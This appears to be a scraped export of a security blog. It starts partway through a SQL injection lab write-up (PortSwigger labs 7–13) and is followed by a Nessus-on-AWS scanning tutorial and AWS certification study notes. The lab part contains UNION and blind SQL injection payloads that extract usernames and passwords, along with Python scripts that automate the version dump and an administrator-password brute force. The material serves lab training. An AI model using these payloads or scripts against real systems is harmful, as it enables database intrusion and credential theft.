category=\u0026#39;Gifts\u0026#39;UNION SELECT \u0026#39;VERSION\u0026#39;, banner FROM v$version -- It will retrieve the database version\nLab 7 - Python Script With this script we will query the web server and parse the information with the help of the bs4 library that contains BeautifulSoup to find the Oracle Database word, if it finds it we can say that the sql injection has been successful.\nimport requests import sys import urllib3 from bs4 import BeautifulSoup import re urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;https://127.0.0.1:8080\u0026#39;} def exploit_sqli(url,payload): uri=\u0026#34;category?=Lifestyle\u0026#34; print(\u0026#34;The url for request is: {url}--\u0026#34;.format(url=url+uri+payload)) r=requests.get(url+uri+payload+\u0026#34;--\u0026#34;, verify=False, proxies=proxies) if \u0026#39;Oracle Database\u0026#39; in r.text: print(\u0026#34;Found database version\u0026#34;) parsed=BeautifulSoup(r.text,\u0026#39;html.parser\u0026#39;) version=parsed.find(text=re.compile(\u0026#39;*.Oracle\\sDatabase.*\u0026#39;)) print(f\u0026#39;The oracle database version is {version}\u0026#39;.format(version=version)) return True return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = \u0026#34;\u0026#39;UNION SELECT \u0026#39;VERSION\u0026#39;, banner FROM v$version\u0026#34; except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt;\u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com\u0026#39; % sys.argv[0]) sys.exit(-1) columns=exploit_sqli(url,payload) if columns: print(\u0026#34;SQL Injection Successfull\u0026#34;) else: print(\u0026#34;Injection Failed, try again\u0026#34;) Lab 8 - SQL injection attack, querying the database type and version on MySQL and Microsoft In this lab we need to find out the MySQL database version, first we see how many columns the table has with the payload 'order by 2 by, after we find that it has 2 columns, we use the specific payload using the cheat-sheet, in this case it would be @@version, and instead of commenting with two dashes, we use #.\nSo the query will look something like this:\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT NULL, @@version%23 We use %23 because the hashtag has to be encoded, after that the response is the database version which is 8.0.28.\nLab 8 - Python Script In this case the script is the same as the previous one, only the payload changes, which in this case is @@version, you can be guided by the script of lab 7.\nLab 9 - SQL injection attack, listing the database contents on non-Oracle databases In this lab first we need the name of the tables, for that we use the parameter table_name and it will be extracted from information_schema.tables that allows us to read data about the database for more information read the Documentation, as the query accepts 2 text parameters, we use NULL in one and we get all the tables in the database.\nThe payload in the URL look like this '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--\nNow, we select the table that contain the word users, in my case is users_mumqoo and dump the column names with this payload '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns WHERE table_name='users_mumqoo'----\nIn my case the column names are password_lhjzlx and username_ngcpuh.\nFinally we can retrieve the username and password because we know the column name and the table name, we will use this payload '+UNION+SELECT+username_ngcpuh, password_lhjzlx+FROM users_mumqoo--\nThe final query will look something like this:\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT username_ngcpuh, password_lhjzlx FROM users_mumqoo-- Lab 10 - SQL injection attack, listing the database contents on Oracle In this lab, we will use the same idea as the previous one, only now the database is oracle, so first read the Documentation about the information schema, first we must list the tables with the payload: 'UNION SELECT NULL, table_name FROM all_tables--\nAfter identifying the user table, which in my case is USERS_GACPLX, we must identify the names of the columns, for that we use the following payload:'UNION SELECT NULL, column_name FROM USER_TAB_COLUMNS WHERE table_name='USERS_GACPLX'--\nWith this we will identify the user and password columns, in my case they are USERNAME_PIOHJJ, PASSWORD_ZELMBN , once we know that we only make the query of the credentials knowing the name of the table, with the following payload final: 'UNION SELECT USERNAME_PIOHJJ, PASSWORD_ZELMBN FROM USERS_GACPLX--\nAnd the final query will look something like this:\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT USERNAME_PIOHJJ, PASSWORD_ZELMBN FROM USERS_GACPLX-- Lab 11 - Blind SQL injection with conditional responses In this lab we have to use the cookie to make sql injection, we intercept the request with burp and we use the substring command to compare the characters of the password of the users table of the user with administrator name, this command receives 3 values, the variable, the start order and the number of characters to extract and that is equal to any letter, if the query is true then we will get the welcome back message, otherwise not, then we can make a brute force attack in burpsuite.\nThe query will look something like this:\nSELECT tracking-id from tracking-table where TrackingId=\u0026#39;g1cLmHM7hZM7IhBH\u0026#39; and (SELECT SUBSTRING(password,1,1) FROM users WHERE username=\u0026#39;administrator\u0026#39;)=\u0026#39;c\u0026#39;-- The response have the text welcome back We use the cluster bomb attack for 2 parameters, the index of the initial position of the substring command and the character with which it is compared, for that we click on add in burpsuite and then configure the payloads for each parameter. The response have the text welcome back The first parameter consists of indices from 1 to 20 going from 1 to 1, the length of the password is known because we previously compared the lenght of the password with different values.\nFor example: (select password form users where username='administrator' and LENGTH(password)\u0026gt;19)='administrator'-- The second parameter is the character itself with which each letter of the password is compared, so it must contain the alphabet values and numbers. Then we click start attack!!\nIf you have burpsuite community edition it will take some time because it has to make 720 requests, after finishing we order by size and relate each position with its respective letter and we will get the administrator\u0026rsquo;s password.\nFinally we order the position with its respective letter and we get the administrator\u0026rsquo;s password\nLab 11 - Python Script This script will allow us to brute force the password, just change the session cookies for yours and it will do the job for you.\nimport sys import requests import urllib3 import urllib urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;: \u0026#39;https://127.0.0.1:8080\u0026#39;} def sqli_password(url): password_extracted = \u0026#34;\u0026#34; for i in range(1,21): for j in range(32,126): sqli_payload = \u0026#34;\u0026#39; and (select ascii(substring(password,%s,1)) from users where username=\u0026#39;administrator\u0026#39;)=\u0026#39;%s\u0026#39;--\u0026#34; % (i,j) sqli_payload_encoded = urllib.parse.quote(sqli_payload) cookies = {\u0026#39;TrackingId\u0026#39;: \u0026#39;g1cLmHM7hZM7IhBH\u0026#39; + sqli_payload_encoded, \u0026#39;session\u0026#39;: \u0026#39;t8y3Fw72A2oY8vxzu3o6CyjaBnplydVD\u0026#39;} r = requests.get(url, cookies=cookies, verify=False) if \u0026#34;Welcome\u0026#34; not in r.text: sys.stdout.write(\u0026#39;\\r\u0026#39; + password_extracted + chr(j)) sys.stdout.flush() else: password_extracted += chr(j) sys.stdout.write(\u0026#39;\\r\u0026#39; + password_extracted) sys.stdout.flush() break def main(): if len(sys.argv) != 2: print(\u0026#34;(+) Usage: %s \u0026lt;url\u0026gt;\u0026#34; % sys.argv[0]) print(\u0026#34;(+) Example: %s www.example.com\u0026#34; % sys.argv[0]) url = sys.argv[1] print(\u0026#34;(+) Retrieving administrator password...\u0026#34;) sqli_password(url) if __name__ == \u0026#34;__main__\u0026#34;: main() Lab 12 - Blind SQL injection with conditional errors This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.\nThe results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.\nThe database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.\nWe will use this payload TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nContinue this process testing offset 3, 4, and so on, until you have the whole password, we can use the last script but changing the sql_payload, if you have burpsuite professional it will take less time.\nLab 13 - Blind SQL injection with time delays This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.\nThe results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.\nModify the TrackingId cookie, changing it to:\nTrackingId=x'||pg_sleep(10)--\nSubmit the request and observe that the application takes 10 seconds to respond.\nReferences Web Security Academy - SQL Injection OWASP Top 10 - SQL Injection Bug Bounty Bootcamp Rana Khalil Channel ","permalink":"https://blog.s4yhii.com/posts/2022-01-26-sql-injection-labs/","summary":"\u003ch2 id=\"lab-1---sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data\"\u003eLab 1 - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data\u003c/h2\u003e\n\u003cp\u003eWe need to retrieve hidden data so we search query\u0026rsquo;s in the web where we can inject some sql injection payloads\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/Portswigger/sqli4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eWe can see that the request is filtering the data by category, and we are asked to show the hidden elements, so we assume that there is a parameter that hides the elements.\u003c/p\u003e\n\u003cp\u003eWe try the following payload that will show the elements of all categories and we will comment out the rest of the query so that it does not filter by hidden or visible elements:\u003c/p\u003e","title":"SQL Injection - Labs"},{"content":"Introduction In this tutorial we will cover vulnerability scanning and vulnerability remediation. These are two of the main steps in the Vulnerability Management Lifecycle. We will be using Nessus Essentials to scan local VMs hosted on VMWare Workstation in order run credentialed scans to discover vulnerabilities, remediate some of the vulnerabilities.\nEC2 Instance Setup first step is launch an EC2 instance, the recommended requirements are:\nwindows OS basic: t3 medium recommended: t3 xlarge Decrypt your password to login in a RDP session and use this to access your EC2 instance\nInstalling Nessus Essentials Then we install nessus in the windows EC2 instance, we will select 10.0.2_x64 version, use your code activation that they sent you in your account registration.\nWhen we finished installing Nessus this image will apper\nSetup Inbound Rules to our EC2 instance After launch the ec2 and download Nessus we have to add inbound rules to our machine in order to perform a credential scanning\nWe are going to use this rules:\nhttps 443 ec2 ip/32 dns (tcp 53) ec2 ip/32 custom TCP 8834 ec2 ip/32 ssh(22) e2 ip/32 custom TCP 139 ec2ip/32 SMB (445) ec2ip/32 custom TCP 8835 ec2ip/32 all ICMP -IPv4 ec2ip/32 custom TCP 49152-65535 0.0.0.0/0 https(443) 0.0.0.0/0 rdp (3389) 0.0.0.0/0 Then we have to give a name to our credential scan an the ip of the EC2 instance\nCredential Vulnerability Scan Then select run in the dashboard of scans and wait to complete the scan\nInspecting First Scan At the end we will be able to see the vulnerabilities that the host windows has, in this case it has the samba port open without authentication by password, when we click on the vulnerability it shows us more details of this one.\nRemediation if we visit the remediation tab it will show us the tasks we need to do to fix this vulnerability, in our case we will see that we must update Firefox, because we have a version that is very old and it contains vulnerabilities, we will also see about protecting the samba service with a password or close the port when you are not using this service that helps us to share files on the local network.\nAfter updating Firefox or uninstalling this vulnerability won´t appear in next scans\nNote If you don´t want to spend money on this lab, you also can install vmware and create a windows virtual machine, you will only need the ip of this machine to perform the scan in Nessus, is more faster and cheap, but you have to provide your own hardware.\nThanks for reading, happy learning!\n","permalink":"https://blog.s4yhii.com/posts/2022-01-21-vuln-scan-with-nessus-in-aws/","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eIn this tutorial we will cover vulnerability scanning and vulnerability remediation. These are two of the main steps in the Vulnerability Management Lifecycle. We will be using Nessus Essentials to scan local VMs hosted on VMWare Workstation in order run credentialed scans to discover vulnerabilities, remediate some of the vulnerabilities.\u003c/p\u003e\n\u003ch2 id=\"ec2-instance-setup\"\u003eEC2 Instance Setup\u003c/h2\u003e\n\u003cp\u003efirst step is launch an EC2 instance, the recommended requirements are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ewindows OS\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Untitled\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/Vulnerability%20Management%20with%20Nessus%20in%20AWS%2090286706ffaf46128c3727fb6f6c7e58/Untitled.jpg\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebasic: t3 medium\u003c/li\u003e\n\u003cli\u003erecommended: t3 xlarge\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eDecrypt your password to login in a RDP session and use this to access your EC2 instance\u003c/p\u003e","title":"Vulnerability Management with Nessus in AWS"},{"content":"Cloud computing and IAM Types of Cloud Computing Infrastructure as a Service (IaaS) Provide building blocks for cloud IT Provide networking, computers, data storage space Highest level of flexibility Simulate the look from managing physical resources Eg: EC2, EBS, GCP, Digital Ocean, Elastic Load Balancing Platform as a Service (PaaS) Remove the company to manage underlying infrastructure Focus on deployment and management of applications You will define the behavior and environment for your application (code) Eg: Heroku, ECS, Elastic Beanstalk Software as a Service (SaaS) Completed product that is run and managed by the service provider offer services meant to be accessed by end users Eg: Gmail, Outlook, Recognition for ML, Zoom IAM Users \u0026amp; Groups Root account shouldn´t be used or shared Users can be grouped, but not with groups, only users Users don´t have to belong a group, bout users can belong to multiple groups Users or groups can be assigned in JSON documents called policies In AWS you use the principle of least privilege Policies Consist of:\nVersion: always include \u0026ldquo;2012-10-17\u0026rdquo; Id: an identifier of the policy(optional) Statements: one or more individual statements We can set password policy: uppercase letter, numbers, etc We can set a password expiration AWS CLI Commands aws configure aws iam list-users you can use aws cloud shell in few regions (1gb free) Shared Responsability Model for IAM AWS Infrastructure(global network security) Configuration and vulnerability analysis Compliance validation User Users, groups, roles, policies management and monitoring Enable MFA on all accounts Rotate all your keys often Use IAM tools to apply appropriate permissions Analyze access patterns \u0026amp; review permissions Summary Users: mapped to a physical user, has a password for aws console Groups: contains users only Policies: JSON document that outlines permissions for users or groups Roles: For EC2 instances or AWS services Security: MFA + Pass Policy AWS CLI: manage AWS using command line AWS SDK: manage AWS services using programming language Access Keys: access AWS using CLI or SDK IAM Security Tools: IAM Credential Reports(account-level) \u0026amp; IAM Access Advisor(user-level) EC2 Elastic Cloud Computing IaaS highly configurable service\nInstance Families Are different combinations of CPU, Memory, Storage and Network capacity, allows you to choose the appropriate combination of capacity to meet your requirements\nGeneral Purpose Balance of compute, memory and networking resources Use-cases: web servers and code repositories Compute Optimized Ideal for high performance processor Use-cases: scientific modeling, dedicated gaming servers and server engines Memory Optimized Fast performance for workloads that process large data sets in memory Use-cases: in-memory caches, in-memory databases, real time data analysis(bi) Accelerated Computing Hardware accelerators or co-processors Use-cases: Number calculations, graphics processing, data pattern matching Storage Optimized Designed for workloads that require sequential read and write access to very large datasets on local storage Use-cases: deliver tens of thousands of low-latency, random I/O operations per second (IOPS) to applications Security Groups Security Groups are the fundamental of network security in AWS They control how traffic is allowed into or out of our EC2 instances. Security groups only contain allow rules Security area acting as firewalls on EC2 instances They regulate: Access to ports Authorized IP ranges - IPv4 and IPv6 Control of in/out bond network (from the instance to other or vice versa) Can be attached a multiple instances (M:M relation) Locked down to a region/VPC combination(if you switch to another region you have to create a new security group) Living outside the EC2, you wont see if traffic is blocked It’s good to maintain one separate security group for ssh access If your application is not accessible(time out) is because security group issue If your application gives a “connection refused” error, it’s an application error or is not launched By default all inbound traffic is blocked and all outbound traffic is authorized EC2 Pricing Models On-Demand (no upfront payment)\ngood for low cost and flexible pay per second(windows and linux) pay per hour (other os) good for apps with short-term that can’t be interrupted good for apps that are tested for the first time Reserved (up to 75%)\npredictable usage commit to ec2 over 1 or 3 year term can resell your unused instances if you want to change your hardware use convertible (up to 55%) Dedicated (expensive)\ndedicated servers can be on-demand or reserved spot when you need isolate hardware (enterprise requirements) Spot (up to 90%)\nrequest the unused ec2 capacity apps that have flexible starts and ends Users who need large amount of extra capacity unexpected shutdowns Summary EC2 Instance: AMI(OS) + Instance Size(CPU+RAM) + Storage + Security Groups + EC2 User Data Security Groups: Firewall attached to the EC2 instance EC2 User Data: Script launched at the first start of an instance SSH: start a terminal in our EC2 via port 22 EC2 Instance Roles: link to IAM roles Purchasing Options: On-Demand, Spot, Reserved, Dedicated host(expensive)/instances EC2 Instance Storage EBS Volume An EBS (Elastic Block Storage) Volume is a network drive you cant attach to your instances while they run EBS volumes will survive shutdowns and system crashes. That can be factor when work with sensitive data EBS volumes can be move around, mounted to other instances and converted to AMIs They can be mounted at one instance at a time and are bound to a specific availability zone Free tier: 30gb of free EBS storage (SSD or HDD) By default the root EBS volume is deleted when finish the instance By default, any other attached EBS volume is not deleted (attribute disabled) This can be controlled by the AWS console or AWS CLI Use Case: preserve root volume when instance is terminated EBS Snapshots Make a backup of your EBS volume at a pint in time Not necessary to detach volume to do snapshot, but recommended Can copy snapshots across AZ or Regions AMI Amazon Machine Image AMI are a customization of an EC2 instance You add your own software, configuration, os, monitoring,,, Faster boot, config time because all your software is pre-packaged AMI are built fr a specific region (and can be copied around regions) You can launch EC2 instances from AWS, your own or AWS marketplace AMI AMI Process Start an EC2 instance and customize it Stop the instance (for data integrity) Build an AMI- this will create EBS Snapshots Launch instances from other AMIs EC2 Image Builder Used to automate the creation of VMs or container images Automate the creation, maintain, validate and test EC2 AMIs Can be run on a schedule Free service (only pay for the underlying resources) EC2 Instance Store EBS volume are network drives with good bout “limited” performance If you need a high performance hardware disk, use EC2 instance store Better I/O performance EC2 Instance Store lose their storage if they are stopped (ephemeral) Good for buffer/ cache /scratch data /temporary content Risk of data loss if hardware fails, and backups are your responsibility EFS - Elastic File System Managed NFS (network file system) can be mounted in many EC2s EFS works with linux EC2 instances in multi-AZ Scalable, expensive (2xgp2), pay per use, no capacity planning EBS vs EFS EFS Infrequent Access (EFS-IA) Storage class that is cost optimized for files that not accessed every day Up to 92% lower price than EFS standard EFS will move your files to EFS-IA based on the time of access Enable EFS-IA with a Lifecycle Policy Ex: Move files that are not accessed for 60 days Transparent to the app accessing EFS Amazon FSx for Windows File Server Fully managed, highly reliable and scalable windows native shared file system Built on Windows File Server Support SMB protocol \u0026amp; Windows NTFS Integrated with AD Can be accessed from AWS instances or on premise server Amazon FSx for Lustre\nFully managed, high performance scalable file storage for High Performance Computing (HPC) The name is derived for “linux” and “cluster” Use cases: ML, Analytics videos processing, Financial, Modeling Scales up to 100s GB/s, millions of IOPS, sub-ms latencies Summary EBS Volumes network drives attached to one EC2, mapped in availability zones Can use EBS snapshots for backups/transfer to other AZ AMI: create ready to use EC2 instances with our customizations EC2 Image Builder: Automatically build, test and distribute AMIs EC2 Instance Store: High performance hardware disk attached to an ec2, lost if instance is stopped EFS-IA: cost-optimized storage class for infrequent accessed files FSx Linux/Windows: Network file systems for windows and high performance computing file system for Linux ELB \u0026amp; ASG (Elastic Load Balancing \u0026amp; Auto Scaling Groups) Scalability: ability to accommodate a larger load by making the hardware stronger(vertical), or by adding nodes (horizontal)\nElasticity: once a system is scalable, elasticity mean that there will be ‘auto scaling’, based on the load, this is cloud friendly : pay per use, match, optimize costs\nAgility: (not related to scalability), new IT resources are only a click away, it mean that you reduce the time to make those resources available to your developers from weeks to minutes\nAvailability: goes in hand with horizontal scaling, mean running your application at least in 2 availability zones, the goal is to survive a data center loss (disaster)\nElastic Load Balancing Load balancers are servers that forward internet traffic to multiple servers (EC2 instances) downstream\nUse cases:\nSpread load across multiple downstream instances Expose a single pint of access (DNS) to your application Seamlessly handle failures of downstream instances Do regular health checks to your instances Provide SSL termination (HTTPS) for your websites High availability across zones Is managed by aws It cost less to setup your own load balancer, but it will be a lot more effort on your end (maintenance, integrations) 3 kinds of load balancers by AWS:\nApplication load balancer (HTTP/HTTPS) -layer 7 Network load balancer (ultra-high performance, allows for TCP) - layer4 Classic load balancer (slowly retiring) - layer4 \u0026amp;7 #!/bin/bash #code for each instance yum update -y yum install -y httpd systemctl start httpd systemctl enable httpd echo \u0026#34;\u0026lt;h1\u0026gt;hello world from $(hostname -f)\u0026lt;/h1\u0026gt;\u0026#34; \u0026gt; /var/www/html/index.html Auto Scaling Group In real life, the load on your websites and applications can change In the cloud, you can create and get rid of servers very quickly The goal of an Auto Scaling Group(ASG) is to: Scale out(add ec2 instances) to match an increased load Scale in ( remove ec2 instances) to match a decreased load Ensure we have a maximun and minimun of machines running Replace unhealthy instances Cost saving: only run at an optimal capacity (principle of the cloud) Scaling strategies Manual scaling: Update the size of an ASG manually Dynamic Scaling: Respond to changing demand Simple/step scaling When a cloudwatch alarm is triggered (example CPU\u0026gt;70%) then add 2 units When a washcloth alarm is triggered (example CPU\u0026lt;30%) then remove 1 Target tracking scaling Example: I want the average ASG CPU to stay around 40 Sheduled Scaling Anticipate a scaling based on known usage patterns Ex: Increase the min capacity to 10 at 5pm on fridays Predictive Scaling Uses machine learning to predict future traffic ahead of time Useful when your load has predictable time based patterns Summary Elastic Load Balancer (ELB) Distribute traffic across backend EC2 instances can be Multi-AZ Support health checks 3 types: Application (HTTP-L7), Network(TCP-L4), Classic(old) Auto Scaling Groups (ASG) Implement Elasticity for your application across multiple AZ Scale ec2 instances based on the demand of your system, replace unhealthy Integrated with ELB Amazon S3 Amazon S3 Overview Allows people to store objects(files) in buckets(directories) Bucket must have a globally unique name (across all regions all accounts) Buckets are defines at the region level S3 look like a global service but buckets are created in a region Naming convention No uppercase No underscore 3-63 characters long Not an IP Must start with lowercase or number Objects have a key, the key is the FULL path s3://mybucket/myfile.txt The key is composed of prefix + object name s3://mybucket/myfolder/anotherfolder/myfile.txt There is no concept of “directories” within buckets, just keys with very long names that contain slashes(”/”) Object values are the content of the body Max object size is 5TB If uploading more than 5GB, must use “multi-part upload” Not charging for upload data, but you can download 1gb per month, then $0.09 per month Metadata (list of key/value pair) Tags(Unicode key/value pair) VersionID (if versioning is enabled) S3 Security User based: IAM Policies - which API calls should be allowed for specific users from IAM Resource Based; Bucket Policies - bucket wide rules from s3 console- allows cross accounts Note: IAM Principal can access an S3 object if: the user IAM permission allows it OR the resource policy ALLOWS it AND there\u0026rsquo;s no explicit deny Encryption: you can encrypt objects using encryption keys S3 Bucket Policies JSON based policies: resources:buckets and objects, actions: set of API allow or deny, Effect:allow/deny, Principal:the account to apply the policy on Use cases: grant public access to the bucket, force objects to be encrypted at upload, grant access to another account(cross account) S3 Versioning Its enabled at bucket level Same key overwrite will increment the version Its best practice to version your buckets Protect against unintended deletes (easy roll back) Notes: any file not versioned when versioning have a version “null”, suspending versioning does not delete the previous versions S3 Access Logs For audit purpose, you may want to log all access to S3 buckets Any request made to S3 will be logged into another S3 bucket That data can be analyzed and view suspicious patterns, etc\u0026hellip; S3 Replication (CRR \u0026amp; SRR) Must enable versioning in source and destination bucket Cross Region Replication (CRR) Compliance, lower latency access, replication across accounts Same Region Replication (SRR) Log aggregation, live replication between production and test accounts Buckets can be from different accounts, copying is asynchronous Must give proper IAM permission to S3 S3 Storage Class S3 Durability and Availability Durability: High availability (99.999999..%, 11 9’s) of objects across multiple AZ Same for all storage classes Availability: Measures how readily available a service is S3 Standard has 99.99% availability, which means it will not be available 53 minutes a year S3 Standard - General Purposes 99.99%, used for frequently accessed data Low latency and high throughput Sustain 2 concurrent facility failures Use cases: Big data analytics, mobile, gaming apps, content distribution S3 Standard - Infrequent Access (IA) Suitable for data that is less frequently accessed, but requires rapid access when needed 99.9%, lower cost to S3 standard, but retrieval fee, sustain 2 concurrent facility failures Use cases: As a data store for disaster recovery, backups S3 One zone - Infrequent Access (IA) Objects are stored in one Availability Zone, 99.5% availability Lower cost compared to S3-IA, the destruction of an AZ could result in the loss of objects stored in that zone. Use cases: Storing secondary backup of on-premise data, or storing data you can recreate S3 Amazon Glacier \u0026amp; Glacier Deep Archive Designed for long-term archiving of object that rarely need to be retrieve, objects are stored using s3 glacier service U can’t retrieve an object in real time, instead you must initiate a restore request for the object and wait until restore is done: Expedited (1-5 min), Standard (3-5 hours), Bulk (5-12 hours) depends on the retrieval options Amazon Glacier deep archive - cheapest: Standard (12 hours), Bulk (48 hours) S3 Intelligent-Tiering 99.9%, same low latency and high throughput performance of S3 standard Cost-optimized by automatically moving objects between two access tiers based on changing access patterns, you’re charged monthly monitoring and automation fee: Frequent access Infrequent access: if object hasn’t been accessed for 30 consecutive days Resilient against events that impact an entire Availability Zone S3 Glacier Vault Lock S3 Object Lock:Adopt a WORM(Write once read many) model, block an object version deletion for an amount of time Glacier Vault Lock: Adopt a WORM model, lock the policy for future edits, helpful for compliance and data retention S3 Encryption AWS Snow Family Highly secure, portable devices to collect and process data at the edge, and migrate data into and out AWS Data migration: snowcone, snowball edge, snowmobile Edge computing: snowcone, snowball edge Tip: If it takes more than a week to transfer over network, use snowball devices! Snow Family - Usage Process Request Snowball devices from AWS console for delivery Install the snowball client/AWS OpsHub on your server Connect the snowball to your servers and copy files using the client Ship back the device when you’re done (goes to the right AWS facility) Data will be loaded into S3 bucket Snowball is completely wiped What is Edge Computing? Process data while it’s being created on an Edge location A truck on the road, a ship on the sea, a mining station These locations may have no internet access, no computing power We setup a Snowball Edge/Snowcone device to edge computing to preprocess data, ML at the edge,etc Eventually we can ship back the device to AWS (to transferring data) Snow Family - Edge Computing Snowcone (smaller): 2 CPU, 4gb ram, wired or wireless access Snowball edge (Compute optimized): 52 vCPUs, 208 ram, optional GPU, 42TB Snowball edge (Storage optimized): 40 vCPUs, 80 GB, object clustering All: Can run EC2 Instances \u0026amp; AWS Lambda functions (Using AWS IoT Green grass) Long term deployment options: 1 and 3 years discounted prices AWS OpsHub Software GUI to manage your snow family device Unlocking clustered devices, transferring files, launching and managing instances, monitor device metrics, launch compatible AWS services on your devices Hybrid Cloud for Storage AWS is pushing for “hybrid cloud”: part on premises and part on the cloud This can be due to: long cloud migrations, security requirements, compliance strategy, IT strategy S3 is a proprietary storage technology (unlike EFS/NFS), so how do you expose S3 data on premise? : AWS Storage Gateway AWS Storage Gateway Hybrid storage service that allow to bridge what happens on premises directly into AWS cloud, using Amazon EBS, S3 and Glacier Use cases: disaster recovery, backup \u0026amp; restore Amazon S3 - Summary Bucket vs Objects: global unique name, tied to a region S3 security: IAM policy, s3 bucket policy (public access), S3 encryption S3 Websites: host a static web on S3 S3 Versioning: multiple versions for files, prevent accidental deletes S3 Access Logs: save logs from a bucket in another bucket S3 Replication: same region or cross region, must enable versioning and IAM permissions S3 Storage classes: Standard, IA, IZ-IA, Intelligent, Glacier, Glacier Deep Archive S3 Lifecycle Rules: transition objects between classes S3 Glacier Vault Lock/S3 Object Lock: WORM( Write Once Read Many) Snow Family: Import data onto S3 through a physical device, edge computing OpsHub: Desktop software to manage Snow Family devices Storage Gateway: hybrid solution to extend on-premises storage to S3 Databases \u0026amp; Analitycs AWS offers use to manage different databases Benefits: Quick Provisioning, High Availability, Vertical and Horizontal Scaling Automated Backup \u0026amp; Restore, Operation Upgrades Operating System Patching is handled by AWS Monitoring, alerting Many databases can run on EC2, but you must handle yourself the resiliency, backup, patching, high availability, fault tolerance, scaling AWS RDS Overview Relational Database Service use SQL as a query languaje It allows you to create databases in the cloud that are managed by AWS: Postgres, MySQL, MariaDB, Oracle, MSQL Server, Aurora(AWS) Advantages using RDS over DB on EC2 RDS is a managed service: Automated provisioning OS patching, continuous backups and restore points Monitoring dashboards, read replicas for improved read perform Multi AZ for Disasters and maintance windows for upgrades Scaling (horizontal and vertical), Storage backed by EBS CON: you can not SSH into your instances Amazon Aurora Developed by AWS, not open sourced, not free tier PostgreSQL and MySQL are both supported by AuroraDB “AWS Cloud Optimized” and claims 5x performance improvement over MySQL on RDS, and over 3x performance on PostgreSQL on RDS Aurora storage automatically grows of 10GB up to 64TB RDS Deployments: Read Replicas, Multi-AZ Read Replicas: Scale the read workload of your DB Can create up to 5 read replicas Data is only written to the main DB Multi-AZ: Fail over: in case of AZ outage (high availability) Data is only read/written in the main database Can only have 1 other AZ as fail over Multi-Region(Read Replicas):\nGood for disaster recovery, local performance for global read and replication cost Amazon ElastiCache The same way RDS is to get managed Relational Database Elasticache is to get managed Redis or Memcached Caches are in-memory database with high performance, low latency Helps reduce load off databases for read intensive workloads AWS takes care of OS maintenance, patching, setup, configuration, monitoring recovery and backups DynamoDB Fully managed key/value database highly available with replication across 3 AZ, minimum of 99,99 percent of availability in a single region NoSQL Database, fast and consistent in performance Scales to massive workloads, distributed serverless database Single-digit millisecond latency, integrated with IAM for security, authorization and administration Low cost and auto scaling capabilities, two pricing models (on demand/provisioned capacity mode) DynamoDB Accelerator - DAX Fully Managed in-memory cache for DynamoDB 10x performance improvement - single- digit millisecond latency to microseconds latency - when accessing your DynamoDB tables Secure,highly scalable and available Note: DAX is only used with DynamoDB and ElastiCache for other databases DynamoDB - Global Tables Make a Table accessible with low latency in multiple-regions Active-Active replication (Read/Write in any AWS Region) Redshift Based in PostgreSQL, but it’s not used for OLTP It’s OLAP - online analytical processing (analytics and data warehousing) Load every hour, not every second 10x better performance than other data whouses, scale to PBs of data Columnar Storage of data (instead of row based) Massive Parallel Query (MPP), pay as you go on the instances provisioned Has a SQL interface for performing queries BI tools such as AWS Quicksight or Tableau integrate with it Redshift Spectrum can analyze structured data stored in S3 Dense compute node uses magnetic disks (max 326TBs of data) and dense storage nodes use SSDs (max 2PBs of data) Amazon EMR Elastic MapReduce Help creating Hadoop cluster (big data) to analyze and process vast data The clusters can be made of hundreds of EC2 instances Support Apache Spark, HBase, Presto, FLink EMR takes care of all the provisioning and configuration Auto-scaling and integrated with spot instances Use cases: data processing, machine learning, web indexing, big data. Amazon Athena Serverless query service to analyze data stored in Amazon S3 Uses standard SQL language to query the files Supports CSV, JSON, ORC, Avroa and Parquet $5.00 per TB of data stored, use compressed or columnar data for cost-savings (less scan) Use cases: BI, analytics, reporting, analyze \u0026amp; query VPC logs, cloud trail, etc Amazon QuickSight Serverless machine learning-powered business intelligence service to create interactive dashboards Fast automatically scalable, embeddable, with per-session pricing Use cases: Business analytics, building visualizations, perform ad-hoc analysis, get business insights Integrated with RDS, Aurora, Athena, Redshift, S3, \u0026hellip; Document DB Aurora is an “AWS implementation” of PostgreSQL or MySQL DocumentDB is the same for MongoDB (No SQL database), also similar implementation of aurora MongoDB is used to store, query and index JSON data Fully managed, 